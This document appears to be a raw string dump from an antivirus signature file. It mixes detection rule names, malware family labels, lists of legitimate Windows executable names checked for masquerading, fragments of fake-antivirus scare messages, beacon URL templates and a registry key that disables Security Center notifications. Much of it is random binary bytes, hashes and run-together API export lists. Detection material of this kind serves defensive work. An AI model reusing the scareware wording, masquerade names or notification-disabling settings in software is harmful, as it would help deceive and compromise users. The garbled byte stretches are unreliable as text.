windows\\temp  Lua:StubAppDroppedIn!wintemp users\\.-\\appdata\\local Lua:StubAppDroppedIn!localappdata \"Lua:StubAppDroppedIn!localappdata users\\.-\\appdata\\remote Lua:StubAppDroppedIn!remoteappdata #Lua:StubAppDroppedIn!remoteappdata users\\.-\\appdata\\local\\temp Lua:StubAppDroppedIn!usrtemp users\\.-\\desktop$ Lua:StubAppDroppedIn!usrdesktop  Lua:StubAppDroppedIn!usrdesktop users\\.-\\documents$ Lua:StubAppDroppedIn!usrdocs windows\\inetcache Lua:StubAppDroppedIn!inetcache !#Lua:SuspExeFNameLoc   \\local\\temp Microsoft Corp Citrix Systems Google Inc Firefox and Mozilla Developers Adobe Systems All Alex \tAll Alex Maple Studio  The Chromium Authors acrord32.exe    hh.exe isuninst.exe  notepad.exe regedit.exe slrundll.exe  taskman.exe twunk_16.exe   winhelp.exe winhlp32.exe  bfsvc.exe  fveupdate.exe helppane.exe  write.exe  splwow64.exe     secedit.exe calc.exe \tcalc.exe taskmgr.exe runonce.exe certutil.exe  find.exe \tfind.exe winver.exe ctfmon.exe  powercfg.exe   tcpsvcs.exe msfeedssync.exe  dllhst3g.exe   sfc.exe upnpcont.exe  wiaacmgr.exe  mspaint.exe  xcopy.exe  logagent.exe  wextract.exe  cmmon32.exe dpnsvr.exe net1.exe \tnet1.exe dplaysvr.exe   dvdupgrd.exe  fixmapi.exe systray.exe  mobsync.exe unregmp2.exe   \\application data\\[^\\]+$ \\appdata\\roaming\\[^\\]+$  installer  citrix Lua:SuspiciousExeLegitNameInAppdata $Lua:SuspiciousExeLegitNameInAppdata \\local\\temp$  \\local settings\\temp$ Lua:SuspiciousExeLegitNameInTemp !Lua:SuspiciousExeLegitNameInTemp !#LUA:Trojan:Win32/FarAce.gen !#LUA:Trojan:Win32/FarAce.genObMpAttributes ntTypeEncode WintrustCertificateTrust mscat32DllRegisterServer mscat32DllUnregisterServer mssip32DllRegisterServer mssip32DllUnregisterServer CryptCATAdminAcquireContext CryptCATAdminAddCatalog CryptCATAdminCalcHashFromFileHandle CryptCATAdminEnumCatalogFromHash CryptCATAdminPauseServiceForBackup CryptCATAdminReleaseCatalogContext CryptCATAdminReleaseContext CryptCATAdminRemoveCatalog CryptCATAdminResolveCatalogPath CryptCATCDFClose CryptCATCDFEnumAttributes CryptCATCDFEnumCatAttributes CryptCATCDFEnumMembers CryptCATCDFEnumMembersByCDFTagEx CryptCATCDFOpen CryptCATCatalogInfoFromContext CryptCATClose CryptCATEnumerateAttr CryptCATEnumerateCatAttr CryptCATEnumerateMember CryptCATGetAttrInfo CryptCATGetCatAttrInfo CryptCATGetMemberInfo CryptCATHandleFromStore CryptCATOpen CryptCATPersistStore CryptCATPutAttrInfo CryptCATPutCatAttrInfo CryptCATPutMemberInfo CryptCATStoreFromHandle CryptSIPCreateIndirectData CryptSIPGetSignedDataMsg CryptSIPPutSignedDataMsg CryptSIPRemoveSignedDataMsg CryptSIPVerifyIndirectData FindCertsByIssuer IsCatalogFile OpenPersonalTrustDBDialog OpenPersonalTrustDBDialogEx WTHelperCertCheckValidSignature WTHelperCertIsSelfSigned WTHelperGetProvCertFromChain WTHelperGetProvPrivateDataFromChain WTHelperGetProvSignerFromChain WTHelperProvDataFromStateData WinVerifyTrust WinVerifyTrustEx WintrustAddActionID WintrustAddDefaultForUsage WintrustGetDefaultForUsage WintrustGetRegPolicyFlags WintrustLoadFunctionPointers WintrustRemoveActionID WintrustSetRegPolicyFlags ntTypeEncodeWintrustCertificateTrustmscat32DllRegisterServermscat32DllUnregisterServermssip32DllRegisterServermssip32DllUnregisterServerCryptCATAdminAcquireContextCryptCATAdminAddCatalogCryptCATAdminCalcHashFromFileHandleCryptCATAdminEnumCatalogFromHashCryptCATAdminPauseServiceForBackupCryptCATAdminReleaseCatalogContextCryptCATAdminReleaseContextCryptCATAdminRemoveCatalogCryptCATAdminResolveCatalogPathCryptCATCDFCloseCryptCATCDFEnumAttributesCryptCATCDFEnumCatAttributesCryptCATCDFEnumMembersCryptCATCDFEnumMembersByCDFTagExCryptCATCDFOpenCryptCATCatalogInfoFromContextCryptCATCloseCryptCATEnumerateAttrCryptCATEnumerateCatAttrCryptCATEnumerateMemberCryptCATGetAttrInfoCryptCATGetCatAttrInfoCryptCATGetMemberInfoCryptCATHandleFromStoreCryptCATOpenCryptCATPersistStoreCryptCATPutAttrInfoCryptCATPutCatAttrInfoCryptCATPutMemberInfoCryptCATStoreFromHandleCryptSIPCreateIndirectDataCryptSIPGetSignedDataMsgCryptSIPPutSignedDataMsgCryptSIPRemoveSignedDataMsgCryptSIPVerifyIndirectDataDllRegisterServerDllUnregisterServerFindCertsByIssuerIsCatalogFileOpenPersonalTrustDBDialogOpenPersonalTrustDBDialogExWTHelperCertCheckValidSignatureWTHelperCertIsSelfSignedWTHelperGetProvCertFromChainWTHelperGetProvPrivateDataFromChainWTHelperGetProvSignerFromChainWTHelperProvDataFromStateDataWinVerifyTrustWinVerifyTrustExWintrustAddActionIDWintrustAddDefaultForUsageWintrustGetDefaultForUsageWintrustGetRegPolicyFlagsWintrustLoadFunctionPointersWintrustRemoveActionIDWintrustSetRegPolicyFlags l: low  has detected a leak of your files though the Internet. 7 has detected a leak of your files though the Internet.  items are critical privacy compromising content 0 items are critical privacy compromising content  items is medium privacy threats   items is medium privacy threats  is infected by W32/Blaster.worm   is infected by W32/Blaster.wormxh Windows recommend Activate %1 OBNOVIT - !? avp:scan%152 NisSrv.exemsseces.exe No, Continue unprotected (Dangerous) %1 right now and stop worrying about PC security forever! Please write it for future using and support requests. Some of secure components inactive. Please check. Some of secure components inactive. Please check.xl a.innerText = \"Click here to get \" + product_name + \" License\" >a.innerText = \"Click here to get \" + product_name + \" License\" Windows has detected installed antispyware softwares on your computer. Greetings to Sunbelt - only they know my name! ;) 1Greetings to Sunbelt - only they know my name! ;) kernu el32u .dllu VirusProtText WinSecurityCenter.cpl Mystic Compressor Your system might be at risk now. !Your system might be at risk now.x Control Panel\\don't load scui.cpl SOFTWARE\\Microsoft\\Security Center\\AntiVirusDisableNotify 9SOFTWARE\\Microsoft\\Security Center\\AntiVirusDisableNotify /pp/?id= \t/pp/?id= fstart  Windows_Updates nAgent.arpt is a Spyware program that records keystrokes \\Do you want to block this suspicious software?x \\_scui.cpl\" /reg_product.php?skey=%s&hs=%s /reg_product.php?email=%s&key=%s&hs=%s dialog-spywarescan dialog-antispyware dialog-firewall dialog-privacy static-infections_found HTML_SPYWARESCAN_DIALOG Are you sure you want to exit the WinAntiMalware? 2Are you sure you want to exit the WinAntiMalware? Are you sure you want to leave the options without saving? ;Are you sure you want to leave the options without saving? /daily.cvd /main.cvd /Antivirus PC 2009.lnk avpc2009.exe /data/self.hdb /data/self.hdbx wscui_class \" /GAV  Continue surfing without any security measures (DANGEROUS) System security ALERT! Attention: DANGER! fucking fuck ..x\t Welcome to installer Win Defender Defender 2012 Uninstall @$&%04\\defender.exe Spyware Protection Welcome to the WindowsDefender Setup Wizard +Welcome to the WindowsDefender Setup Wizard Welcome to installer Security Essentials Welcome to installer Secure Essentials Secure Essentials is breaking Welcome to installer dfghfdghfdghg Install dfghfdghfdghg is breaking Welcome to installer Windows 7 Install Windows 7 is breaking Antispyware Protection.lnk Antispyware Protection.lnkx_ &/installed.php?id= /tnx.php?mail= and UNWANTED files on your computer! Security Alert! ,Protection level: LOW P.php?version=%aff%&email=%email%&os=%os% @/payment/index.php?version=%aff% iexplore.exe;calc.exe;WinWord.exe tEmail-Worm.VBS.Peach#This internet worm spreads via e-mailx{ WIN32.Annex.Worm Spyware alarm! All malware objects was remove <title> Reported Insecure Browsing: Navigation blocked Are you sure to stay unprot Are you really want to keep infe Windows hangovers and crashes without limitations urn firewall on, so that no one could attack it from the Interne >Insecure Internet activity. Threat of virus attack< Advanced Security Tool 20 return add('Continue to this website unprotected (not recommended).')\"x {427dbde0-7799-4611-9789-deb36156d1ad} &{427dbde0-7799-4611-9789-deb36156d1ad} http://%s/httpss/setup.php?action=4&mk=%s&aid=%s 0http://%s/httpss/setup.php?action=4&mk=%s&aid=%s /setup.php?v=%s&action=%s&mk=%s&aid=%s &/setup.php?v=%s&action=%s&mk=%s&aid=%s http://www.%domain%/buy/ RunDll32.exe shell32.dll,Control_RunDLL wscui.cpl 1RunDll32.exe shell32.dll,Control_RunDLL wscui.cpl \\buypage.html Are you wish to keep this ILLEGAL FILE on your computer? The \"viral code\" (1436 B) will receive the execution inside the infected file. Pigax.gen.a!921565b7f6 %s/buy/index/%s/%s Your computer WILL BE DISCONNECTED FORM INTERNET BECAUSE SPAMMING OTHER PCs %s/httpss/setup.php?v=%d&action=4&mk=%s&aid=%s .%s/httpss/setup.php?v=%d&action=4&mk=%s&aid=%s %s%s?p= &aid=%s {FBD69E67-C708-47be-B49F-33D4200B818C} &{FBD69E67-C708-47be-B49F-33D4200B818C} &/buy/?affiliate_id= entry point its also repleaced with polymorphics sequences http://%s%s?p=2&aid=% s&orderid=%d&key=%s By destroying the BIOS many times you end up buying 3By destroying the BIOS many times you end up buying CAttackDlg  securitycenter.exe aler3fa.exe http://www.[:||||:]/buy/ %s\\How to Activate %s.lnk proxy-relay trojan server with new and danger \"SpamBots\". 9proxy-relay trojan server with new and danger \"SpamBots\". (ISP) for YOU personal computer is on some major blackl 7(ISP) for YOU personal computer is on some major blackl Hprivate data steal such as passwords~ i\\>#0< zi\\>#0< @)zI$ C !~4 C Mx@  9r++ iuJp`% z$/4Y @#!*Y vEE)^ +9y,b )--s& c37- O _9X-z J2,O` h4yw{SO ?\"i4c uLH6G +,B4= Ry2g> wFCmcC Xz'G HiD>h /\\jPO T*1Y5Q t_TV% WW}Qd  X$>i [Jp/, 3v}2u 8=J*$ [CIFe<   $ .textB .rsrc0 @@.relocH @BFe.a dxtrans.pdb [ paD ?^' / u=cG1< ^,48a+6 ?oGC[ %I fu O<`qM  .rqK 'c\\*< 3dixB Y#Vso `5[Zl )1o%vPP Dn6 L ne>WJZ9ua bkqH` 6&~?!  .\"&  .\"EW0  .\"EW0  .#Xp &|\tgz-T 88n 8 {LP@}% `Rs CO p.9;f  .(u> 'q .x^ z Y {4 &\\XU#  .-_s ..%B1WPj[  ..%B1WPj[  ..|c 01JH/  .1NW o_Yd/  .6?H  .;I- 7Pj6L f2|cnS Yhkm   .A6e -\\XU !  6E|t  .E:; \\IV>L3J .KgDh)  .KgDh) 12;!E .LMmc  .LMmc $K)rN  .Ph} $eM3RL S+S7'+ @rEx} .U5dw  .U5dw  u&_)< wR`]Z *k 7+  .^K3 oS  ( .^e )G  .^e )G .ai;:n_sTM  .ai;:n_sTM chR|8* rG-60  .jg$  .k\\M .nD}]  .nD}] .pLb9  .pLb9 .qxYK  .qxYK 'IZ+: R[FDu -b2Uk ^ilN\\qj .{RMj  .{RMj .|.@>  .|.@> $22^#nx  4c.Q s ,? F L@%2SYgX>HFB:0a o8}dw $gwUL 1,?,[ ju50Ew .=K:O UA~OW{ GG_cRB ce+Tg` W9~4v7 :w 3T? 9pnCu #/~!l Wx T= 1ba782ac9e312 1ba782ac9e312Flags1 Kryptomix KryptomixIncludesGenericRepairHelpers 2778e4376ba1  28616b746fbc  no_boundimport no_debug \tno_debug  318967915fd3 45403b94d52d 6978dbed1f92 Lowfi:HSTR:BrowserModifier:Win32/AOLToolbarOld /Lowfi:HSTR:BrowserModifier:Win32/AOLToolbarOld 6b785bc5765c ALF:Trojan:Win32/IcedId.PJ!MTB 75405d2675d7  7c614fa2217d  8761305e3344  93615ed71370  a361528b9faf  b5b31905a562 \\processhacker.exe b678a7e14c2a  b778e7d98d37  bb78f35eb449 blackbone  e778379ec799  df787459af55 df787459af55Flags1  10378cc414e3d  10378dae3d7fc  105787e0051a4  106784ff537ff  10761db920abf  10778775bb046  10778a9cd6d4e  108781484b368  10d78c8f80e7c  10f6113988095  1117884c24450  113b33993c5a6 115787abd968d  11978e4104d9d  119b37e72e2e2 11b610957b20f  11e61fc68e6da  11e78207eb9da  125784ff62afa  12f7858b30d7d  12f78a60080e5  13378825848ea  13d78001bfc13  13d789e721ccf  14178434c4e4c  155782638a286  15578bcf8f6be  1597882c17022  15d783ad11a47  15d78e7eaf812  16178e217efc1  16778141c81d8  16978cdd9b282  16a781730aa64  173784f0ba06f  17b784ca20326  17d7879ea4953  17f7802d2a85f  17f788c71c4fb  t6Ht Ht Hu7 t5Hug Fj=Xf Nj=AXf Nj AXf PPPPP  u#F; u j X_^[  Y_^[ sVC20XC00U tLxXj sYY^] SVWUj SVWUjjh8O t ]_^[ ;t$,v- @$ tT  Y_^[  Y_^[ sjh\\W  Y_^[  \\z\\X[P\\@\\ ZH[8[,[ Zf\\4\\ GetSystemTimeAsFileTimew LocalAlloc{ LocalFree~ LocalReAllocQ GetLastErrorKERNEL32.dll memset- memcpyntdll.dll RegEnumValueW ADVAPI32.DLL RegQueryInfoKeyWADVAPI32.DLL VirtualQuery VirtualQueryF TerminateProcessS SetUnhandledExceptionFilter3c.a 4/4X4 5*5/545[5t5 6B6G6e6 7#7(787=7R7W7g7 7>8N8l8q8 94999>9Z9 :.:3:@:[:v: ;*;/;T;Y;^;n;~; <&<6<n< ? ?%?*?a? ?G@c@p@ A\"ADAIAhA B*B6BMBrB BC:C?COC C+DcDhDmDrD ECEHEhEmE J;JKJ[JkJ{JXLvL J KFKSKcK K\"h;hQhjh i:ibi i j$j=jNjcjxj k0kGkfk~k l5lIlnl m#m<mWmlm~m n7nQnen o1oHo]o p p5pHp[pup q9q^qxq r r/rKrer}r f5sWsls t-tAtStgt{t u'u>uOuau}u v!v<vUvjv{v f=wKwXwhw x+x@xUxextx y2yFyayzy z4zGzez~z {<{O{q{ |(|?|[| g&g~| |?gdg  !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqstuvwxyz{|}~ CRYPT32.DLL CreateFileU CryptLoadSip CryptSignHashU CryptVerifySignatureU I_CertProtectFunction I_CertSrvProtectFunction I_CryptGetDefaultCryptProvForEncrypt I_CryptGetLruEntryIdentifier I_CryptGetTls RegCreateHKCUKeyExU RegCreateKeyExU RegDeleteValueU RegEnumValueU RegOpenHKCUKeyExU RegOpenKeyExU RegQueryInfoKeyU RegQueryValueExU RegSetValueExU CertAddCRLContextToStore CertAddCRLLinkToStore CertAddCTLContextToStore CertAddCTLLinkToStore CertAddCertificateContextToStore CertAddCertificateLinkToStore CertAddEncodedCRLToStore CertAddEncodedCTLToStore CertAddEncodedCertificateToStore CertAddEncodedCertificateToSystemStoreA CertAddEncodedCertificateToSystemStoreW CertAddEnhancedKeyUsageIdentifier CertAddSerializedElementToStore CertAddStoreToCollection CertAlgIdToOID CertCloseStore CertCompareCertificate CertCompareCertificateName CertCompareIntegerBlob CertComparePublicKeyInfo CertControlStore CertCreateCRLContext CertCreateCTLContext CertCreateCTLEntryFromCertificateContextProperties CertCreateCertificateChainEngine CertCreateCertificateContext CertCreateContext CertCreateSelfSignCertificate CertDeleteCRLFromStore CertDeleteCTLFromStore CertDeleteCertificateFromStore CertDuplicateCRLContext CertDuplicateCTLContext CertDuplicateCertificateChain CertDuplicateCertificateContext CertDuplicateStore CertEnumCRLContextProperties CertEnumCRLsInStore CertEnumCTLContextProperties CertEnumCTLsInStore CertEnumCertificateContextProperties CertEnumCertificatesInStore CertEnumPhysicalStore CertEnumSubjectInSortedCTL CertEnumSystemStore CertEnumSystemStoreLocation CertFindAttribute CertFindCRLInStore CertFindCTLInStore CertFindCertificateInCRL CertFindCertificateInStore CertFindChainInStore CertFindExtension CertFindRDNAttr CertFindSubjectInCTL CertFindSubjectInSortedCTL CertFreeCRLContext CertFreeCTLContext CertFreeCertificateChain CertFreeCertificateChainEngine CertFreeCertificateContext CertGetCRLContextProperty CertGetCRLFromStore CertGetCTLContextProperty CertGetCertificateChain CertGetCertificateContextProperty CertGetEnhancedKeyUsage CertGetIntendedKeyUsage CertGetIssuerCertificateFromStore CertGetNameStringA CertGetNameStringW CertGetPublicKeyLength CertGetStoreProperty CertGetSubjectCertificateFromStore CertGetValidUsages CertIsRDNAttrsInCertificateName CertIsValidCRLForCertificate CertNameToStrA CertNameToStrW CertOIDToAlgId CertOpenStore CertOpenSystemStoreA CertOpenSystemStoreW CertRDNValueToStrA CertRDNValueToStrW CertRegisterPhysicalStore CertRegisterSystemStore CertRemoveEnhancedKeyUsageIdentifier CertRemoveStoreFromCollection CertResyncCertificateChainEngine CertSaveStore CertSerializeCRLStoreElement CertSerializeCTLStoreElement CertSerializeCertificateStoreElement CertSetCRLContextProperty CertSetCTLContextProperty CertSetCertificateContextPropertiesFromCTLEntry CertSetCertificateContextProperty CertSetEnhancedKeyUsage CertSetStoreProperty CertStrToNameA CertStrToNameW CertUnregisterPhysicalStore CertUnregisterSystemStore CertVerifyCRLRevocation CertVerifyCRLTimeValidity CertVerifyCTLUsage CertVerifyCertificateChainPolicy CertVerifyRevocation CertVerifySubjectCertificateContext CertVerifyTimeValidity CertVerifyValidityNesting CryptAcquireCertificatePrivateKey CryptBinaryToStringA CryptBinaryToStringW CryptCloseAsyncHandle CryptCreateAsyncHandle CryptCreateKeyIdentifierFromCSP CryptDecodeMessage CryptDecodeObject CryptDecodeObjectEx CryptDecryptAndVerifyMessageSignature CryptDecryptMessage CryptEncodeObject CryptEncodeObjectEx CryptEncryptMessage CryptEnumKeyIdentifierProperties CryptEnumOIDFunction CryptEnumOIDInfo CryptExportPKCS8 CryptExportPublicKeyInfo CryptExportPublicKeyInfoEx CryptFindCertificateKeyProvInfo CryptFindLocalizedName CryptFindOIDInfo CryptFormatObject CryptFreeOIDF CRYPT32.DLLCreateFileUCryptLoadSipCryptSignHashUCryptVerifySignatureUI_CertProtectFunctionI_CertSrvProtectFunctionI_CryptGetDefaultCryptProvForEncryptI_CryptGetLruEntryIdentifierI_CryptGetTlsRegCreateHKCUKeyExURegCreateKeyExURegDeleteValueURegEnumValueURegOpenHKCUKeyExURegOpenKeyExURegQueryInfoKeyURegQueryValueExURegSetValueExUCertAddCRLContextToStoreCertAddCRLLinkToStoreCertAddCTLContextToStoreCertAddCTLLinkToStoreCertAddCertificateContextToStoreCertAddCertificateLinkToStoreCertAddEncodedCRLToStoreCertAddEncodedCTLToStoreCertAddEncodedCertificateToStoreCertAddEncodedCertificateToSystemStoreACertAddEncodedCertificateToSystemStoreWCertAddEnhancedKeyUsageIdentifierCertAddSerializedElementToStoreCertAddStoreToCollectionCertAlgIdToOIDCertCloseStoreCertCompareCertificateCertCompareCertificateNameCertCompareIntegerBlobCertComparePublicKeyInfoCertControlStoreCertCreateCRLContextCertCreateCTLContextCertCreateCTLEntryFromCertificateContextPropertiesCertCreateCertificateChainEngineCertCreateCertificateContextCertCreateContextCertCreateSelfSignCertificateCertDeleteCRLFromStoreCertDeleteCTLFromStoreCertDeleteCertificateFromStoreCertDuplicateCRLContextCertDuplicateCTLContextCertDuplicateCertificateChainCertDuplicateCertificateContextCertDuplicateStoreCertEnumCRLContextPropertiesCertEnumCRLsInStoreCertEnumCTLContextPropertiesCertEnumCTLsInStoreCertEnumCertificateContextPropertiesCertEnumCertificatesInStoreCertEnumPhysicalStoreCertEnumSubjectInSortedCTLCertEnumSystemStoreCertEnumSystemStoreLocationCertFindAttributeCertFindCRLInStoreCertFindCTLInStoreCertFindCertificateInCRLCertFindCertificateInStoreCertFindChainInStoreCertFindExtensionCertFindRDNAttrCertFindSubjectInCTLCertFindSubjectInSortedCTLCertFreeCRLContextCertFreeCTLContextCertFreeCertificateChainCertFreeCertificateChainEngineCertFreeCertificateContextCertGetCRLContextPropertyCertGetCRLFromStoreCertGetCTLContextPropertyCertGetCertificateChainCertGetCertificateContextPropertyCertGetEnhancedKeyUsageCertGetIntendedKeyUsageCertGetIssuerCertificateFromStoreCertGetNameStringACertGetNameStringWCertGetPublicKeyLengthCertGetStorePropertyCertGetSubjectCertificateFromStoreCertGetValidUsagesCertIsRDNAttrsInCertificateNameCertIsValidCRLForCertificateCertNameToStrACertNameToStrWCertOIDToAlgIdCertOpenStoreCertOpenSystemStoreACertOpenSystemStoreWCertRDNValueToStrACertRDNValueToStrWCertRegisterPhysicalStoreCertRegisterSystemStoreCertRemoveEnhancedKeyUsageIdentifierCertRemoveStoreFromCollectionCertResyncCertificateChainEngineCertSaveStoreCertSerializeCRLStoreElementCertSerializeCTLStoreElementCertSerializeCertificateStoreElementCertSetCRLContextPropertyCertSetCTLContextPropertyCertSetCertificateContextPropertiesFromCTLEntryCertSetCertificateContextPropertyCertSetEnhancedKeyUsageCertSetStorePropertyCertStrToNameACertStrToNameWCertUnregisterPhysicalStoreCertUnregisterSystemStoreCertVerifyCRLRevocationCertVerifyCRLTimeValidityCertVerifyCTLUsageCertVerifyCertificateChainPolicyCertVerifyRevocationCertVerifySubjectCertificateContextCertVerifyTimeValidityCertVerifyValidityNestingCryptAcquireCertificatePrivateKeyCryptBinaryToStringACryptBinaryToStringWCryptCloseAsyncHandleCryptCreateAsyncHandleCryptCreateKeyIdentifierFromCSPCryptDecodeMessageCryptDecodeObjectCryptDecodeObjectExCryptDecryptAndVerifyMessageSignatureCryptDecryptMessageCryptEncodeObjectCryptEncodeObjectExCryptEncryptMessageCryptEnumKeyIdentifierPropertiesCryptEnumOIDFunctionCryptEnumOIDInfoCryptExportPKCS8CryptExportPublicKeyInfoCryptExportPublicKeyInfoExCryptFindCertificateKeyProvInfoCryptFindLocalizedNameCryptFindOIDInfoCryptFormatObjectCryptFreeOIDF \\system32\\dsquery.dll Msoftware\\classes\\clsid\\{6e65cbc0-926d-11d0-8e27-00c04fc99dcf}\\inprocserver32 @C:\\WINDOWS\\system32\\netcfgx.dll Msoftware\\classes\\clsid\\{d82be2b0-5764-11d0-a96e-00c04fd705a2}\\inprocserver32 @c:\\windows\\system32\\SHELL32.dll Msoftware\\classes\\clsid\\{d969a300-e7ff-11d0-a93b-00a0c90f2719}\\inprocserver32 Msoftware\\classes\\clsid\\{dde5783a-88b9-11d2-84ad-00c04fa31a86}\\inprocserver32 @c:\\windows\\system32\\dsquery.dll Msoftware\\classes\\clsid\\{de4874d1-feee-11d1-a0b0-00c04fa31a86}\\inprocserver32 NSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Microsoft Security Client  Publisher,Microsoft Corporation Fclsid\\{424b71af-0695-11d2-a484-00c04f8efb69}\\versionindependentprogid PDXImageTransform.Microsoft.CrRadialWipe 1SOFTWARE\\Microsoft\\Internet Explorer\\Transitions \tPageBackjprogid:DXImageTransform.Microsoft.Fade(Duration=0.4) MSOFTWARE\\Classes\\CLSID\\{06A03425-C9EB-11d2-8CAA-0080C739E3E0}\\InprocServer32 Bc:\\windows\\System32\\mmcshext.dll MSOFTWARE\\Classes\\clsid\\{0be35204-8f91-11ce-9de3-00aa004bb851}\\inprocserver32 BC:\\Windows\\system32\\oleaut32.dll Msoftware\\classes\\clsid\\{db5d1ff4-09d7-11d1-bb10-00c04fc9a3a3}\\inprocserver32 BC:\\WINDOWS\\system32\\filemgmt.dll Msoftware\\classes\\clsid\\{db5d1ff5-09d7-11d1-bb10-00c04fc9a3a3}\\inprocserver32 Msoftware\\classes\\clsid\\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\\inprocserver32 Bc:\\windows\\System32\\dmdskmgr.dll Msoftware\\classes\\clsid\\{dd313e04-feff-11d1-8ecd-0000f87a470c}\\inprocserver32 Bc:\\windows\\system32\\browseui.dll NSYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E96F-E325-11CE-BFC1-08002BE10318} @Mice and other pointing devices Dsoftware\\classes\\typelib\\{3f4daca7-160d-11d2-a8e9-00104b365c9f}\\1.0 VMicrosoft VBScript Regular Expressions 1.0 JSOFTWARE\\Classes\\clsid\\{30d02401-6a81-11d0-8274-00c04fd5ae38}\\defaulticon J%SystemRoot%\\system32\\browseui.dll,8 Jsoftware\\classes\\clsid\\{645ff040-5081-101b-9f08-00aa002f954e}\\defaulticon J%SystemRoot%\\system32\\SHELL32.dll,31 Lsoftware\\Classes\\typelib\\{7444c709-39bf-11d1-8cd9-00c04fc29d45}\\1.0\\0\\win32 F%SystemRoot%\\system32\\cryptext.dll Lsoftware\\classes\\typelib\\{640d3148-a423-11d2-b943-00c04f79d22f}\\1.0\\0\\win32 FC:\\WINDOWS\\system32\\catsrvut.dll\\7 OSYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000 HardwareInformation.MemorySize nSOFTWARE\\Classes\\CLSID\\{083863F1-70DE-11D0-BD40-00A0C911CE86}\\Instance\\{6E8D4A20-310C-11D0-B79A-00AA003767A7} nSOFTWARE\\Classes\\CLSID\\{083863F1-70DE-11D0-BD40-00A0C911CE86}\\Instance\\{70E102B0-5556-11CE-97C0-00AA0055595A} nSOFTWARE\\Classes\\CLSID\\{083863F1-70DE-11D0-BD40-00A0C911CE86}\\Instance\\{814B9800-1C88-11D1-BAD9-00609744111A} nSOFTWARE\\Classes\\CLSID\\{083863F1-70DE-11d0-BD40-00A0C911CE86}\\Instance\\{33FACFE0-A9BE-11D0-A520-00A0D10129C0} nSOFTWARE\\Classes\\clsid\\{da4e3da0-d07d-11d0-bd50-00a0c911ce86}\\instance\\{083863f1-70de-11d0-bd40-00a0c911ce86} nsoftware\\classes\\clsid\\{083863f1-70de-11d0-bd40-00a0c911ce86}\\instance\\{6a08cf80-0e18-11cf-a24d-0020afd79767} oCLSID\\{098f2470-bae0-11cd-b579-08002b30bfeb}\\PersistentAddinsRegistered\\{89bcb740-6119-101a-bcb7-00dd010655af} !HARDWARE\\DEVICEMAP\\KeyboardClass \\Device\\KeyboardClass0r\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\Kbdclass MSOFTWARE\\Classes\\CLSID\\{1438E821-B6D2-11D0-8D86-00C04FD6202B}\\InprocServer32 F%SystemRoot%\\system32\\msoeacct.dll MSOFTWARE\\Classes\\clsid\\{fd853ce7-7f86-11d0-8252-00c04fd85ab4}\\inprocserver32 F%SystemRoot%\\system32\\inetcomm.dll MSOFTWARE\\Classes\\clsid\\{fd853ce8-7f86-11d0-8252-00c04fd85ab4}\\inprocserver32 Msoftware\\classes\\clsid\\{fd4f53e0-65dc-11d1-ab64-00c04fd9159e}\\inprocserver32 FC:\\WINDOWS\\system32\\wbem\\ntevt.dll eSYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{0AF211EC-FE9A-4F7F-AD6C-07D5C5BACEBE} oSYSTEM\\CurrentControlSet\\Enum\\SW\\{96e080c7-143c-11d1-b40f-00a0c9223196}\\{3C0D501A-140B-11D1-B40F-00A0C9223196} <CLSID\\{228136B0-8BD3-11D0-B4EF-00A0C9138CA4}\\InprocServer32 jc:\\program files\\common files\\system\\ado\\msadomd.dll <CLSID\\{228136B8-8BD3-11D0-B4EF-00A0C9138CA4}\\InProcServer32 Jsoftware\\classes\\Interface\\{000c109b-0000-0000-c000-000000000046}\\typelib N{000C1092-0000-0000-C000-000000000046} Jsoftware\\classes\\interface\\{3050f33c-98b5-11cf-bb82-00aa00bdce0b}\\typelib N{3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} Jsoftware\\classes\\interface\\{3050f357-98b5-11cf-bb82-00aa00bdce0b}\\typelib Lsoftware\\classes\\typelib\\{f618c513-dfb8-11d1-a2cf-00805fc79235}\\1.0\\0\\win32 JC:\\WINDOWS\\system32\\Com\\comadmin.dll YSYSTEM\\CurrentControlSet\\control\\safeboot\\network\\{745a17a0-74d3-11d0-b6fe-00a0c90f57da} 0Human Interface Devices ]clsid\\{083863f1-70de-11d0-bd40-00a0c911ce86}\\instance\\{129d7e40-c10d-11d0-afb9-00aa00b67a42}  friendlyname DV Muxer Asoftware\\microsoft\\windows\\currentversion\\explorer\\shell folders \tprogramsRC:\\Documents and Settings\\Alan Tracey\\St ProcessorNameString`Intel(R) Xeon(R) CPU           L5640  @ 2.27GHz Lsoftware\\classes\\typelib\\{5c65924b-e236-11d2-8899-00104b2afb46}\\1.0\\0\\win32 LC:\\WINDOWS\\system32\\wbem\\wbemcntl.dll Msoftware\\classes\\clsid\\{fa77a74e-e109-11d0-ad6e-00c04fd8fdff}\\inprocserver32 JC:\\WINDOWS\\system32\\wbem\\stdprov.dll <CLSID\\{10072CEC-8CC1-11D1-986E-00A0C955B42E}\\InprocServer32 n%CommonProgramFiles(x86)%\\Microsoft Shared\\VGX\\vgx.dll <CLSID\\{2048EEE6-7FA2-11D0-9E6A-00A0C9138C29}\\InprocServer32 pc:\\program files\\common files\\system\\ole db\\oledb32.dll <CLSID\\{2206CDB3-19C1-11D1-89E0-00C04FD7A829}\\InprocServer32 pC:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll =clsid\\{06210e88-01f5-11d1-b512-0080c781c384}\\\\inprocserver32 nC:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll Wsoftware\\classes\\clsid\\{98aff3f0-5524-11d0-8812-00a0c903b83c}\\versionindependentprogid :CertificateAuthority.Request =clsid\\{7C07E0D0-4418-11D2-9212-00C04FBBBFB3}\\\\InprocServer32 pC:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll Lsoftware\\classes\\typelib\\{c8b522d5-5cf3-11ce-ade5-00aa0044773d}\\1.0\\0\\win32 RC:\\Program Files\\Common Files\\System\\Ole MSOFTWARE\\Classes\\CLSID\\{101A8FB9-F1B9-11d1-9A56-00C04FA309D4}\\InprocServer32 P%ProgramFiles%\\Outlook Express\\msoe.dll 